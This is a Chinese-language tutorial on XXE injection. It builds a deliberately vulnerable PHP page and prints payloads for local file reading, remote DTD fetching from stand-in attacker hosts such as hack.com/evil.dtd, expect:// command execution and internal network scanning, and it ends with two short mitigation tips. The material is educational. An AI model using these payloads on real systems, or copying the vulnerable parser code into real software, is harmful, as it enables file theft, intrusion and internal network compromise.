浅谈XXE漏洞

0x00 XML

XML是可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言,与HTML的不同在于XML被设计用来传输和存储数据而HTML被设计用来显示数据。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML声明即是位于XML文档开始部分的第一行,规定了xml版本和编码格式。

1
<?xml version="1.0" encoding="UTF-8"?>

DTD(Document Type Definition) 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。

文档元素即下面例子中note中所有部分,每个xml文档必须包含一个根元素,下面的例子中根元素就是note

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

0x01 DTD(Document Type Definition)

上面我们只是简要说了一下XML的结构,下来我们拿出我们重点关注的DTD文档类型定义来详细说明一下。

DTD 引用方式

  • 1.DTD 内部声明
    1
    <!DOCTYPE 根元素 [元素声明]>
  • 2.DTD 外部引用
    1
    <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
  • 3.引用公共DTD
    1
    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

DTD 实体声明

  • 1.内部实体声明
    1
    <!ENTITY 实体名称 “实体的值”> 
    一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号
  • 2.外部实体声明
    1
    <!ENTITY 实体名称 SYSTEM “URI/URL”> 
    外部引用可支持http,file等协议,不同的语言支持的协议不同。

0x02 XXE(XML External Entity attack)

XML外部实体注入,简称XXE。XXE使攻击者能够从服务器或连接网络泄露正常受保护的文件。

有了XML实体,关键字‘SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。

简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。

0x03 XXE环境搭建

我们新建一个存在xxe漏洞的index.php,写入

1
2
3
4
<?php
$xml=simplexml_load_string($_POST['xml']);
print_r($xml);
?>

我们尝试一个正常使用的例子,在firefox的hackbar插件中传入数据

1
2
3
4
5
6
xml=<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

可以得到回显:

此时,我们的环境搭建完成。

0x04 恶意代码的利用方式

我们上面已经说过引用实体的方式,我们这里可以采用这几种方式在hackbar的post中写入恶意代码:

  • 1直接使用

    1
    2
    3
    4
    5
    <?xml version="1.0"?>
    <!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///c:/windows/win.ini">
    ]
    <c>&b;</c>
  • 2调用远程dtd

    1
    2
    3
    4
    5
    <?xml version="1.0"?>
    <!DOCTYPE a [
    <!ENTITY b SYSTEM "http://xxxx.com/xxx.dtd">
    ]
    <c>&b;</c>

    在xxxx.com的xxx.dtd中写入

    1
    <!ENTITY b SYSTEM "file:///c:/windows/win.ini" >
  • 3无回显时发送给远程服务器

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml verstion="1.0" encoding="utf-8"?>
    <!DOCTYPE a[
    <!ENTITY % f SYSTEM "http://www.hack.com/evil.dtd">
    %f;
    ]>
    <a>&b;</a>
    $data = simplexml_load_string($xml);
    print_r($data);

    其中远程服务器中evil.dtd

    1
    <!ENTITY b SYSTEM "file:///c:/windows/win.ini">

0x05 xxe攻击方式

文件读取

通过file协议任意读取文件

1
2
3
4
5
6
7
8
9
10
11
<?php
$note=<<<XML
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >
]>
<foo>&xxe;</foo>
XML;
$xml=simplexml_load_string($note);
print_r($xml);
?>

命令执行

通过expect协议进行命令执行

1
2
3
4
5
6
7
8
9
10
11
<?php
$note=<<<XML
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://ifconfig" >
]>
<foo>&xxe;</foo>
XML;
$xml=simplexml_load_string($note);
print_r($xml);
?>

内网扫描

通过simplexml_load_string函数访问内网ip和端口进行扫描

1
2
3
4
5
6
7
8
9
10
11
<?php
$note=<<<XML
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.31.226:81" >
]>
<foo>&xxe;</foo>
XML;
$xml=simplexml_load_string($note);
print_r($xml);
?>
1
2
3
4
5
6
7
8
9
10
11
<?php
$note=<<<XML
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.31.226:80" >
]>
<foo>&xxe;</foo>
XML;
$xml=simplexml_load_string($note);
print_r($xml);
?>

内网攻击

通过simplexml_load_string函数中带有恶意代码的url对内网网站进行攻击,直接在内网url的get参数中提交payload

1
2
3
4
5
6
7
8
9
10
11
<?php
$note=<<<XML
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.31.226:80/test/xxxx.php?xxxxx" >
]>
<foo>&xxe;</foo>
XML;
$xml=simplexml_load_string($note);
print_r($xml);
?>

0x06 应对

  • 1.禁用外部实体
  • 2.过滤用户提交的xml信息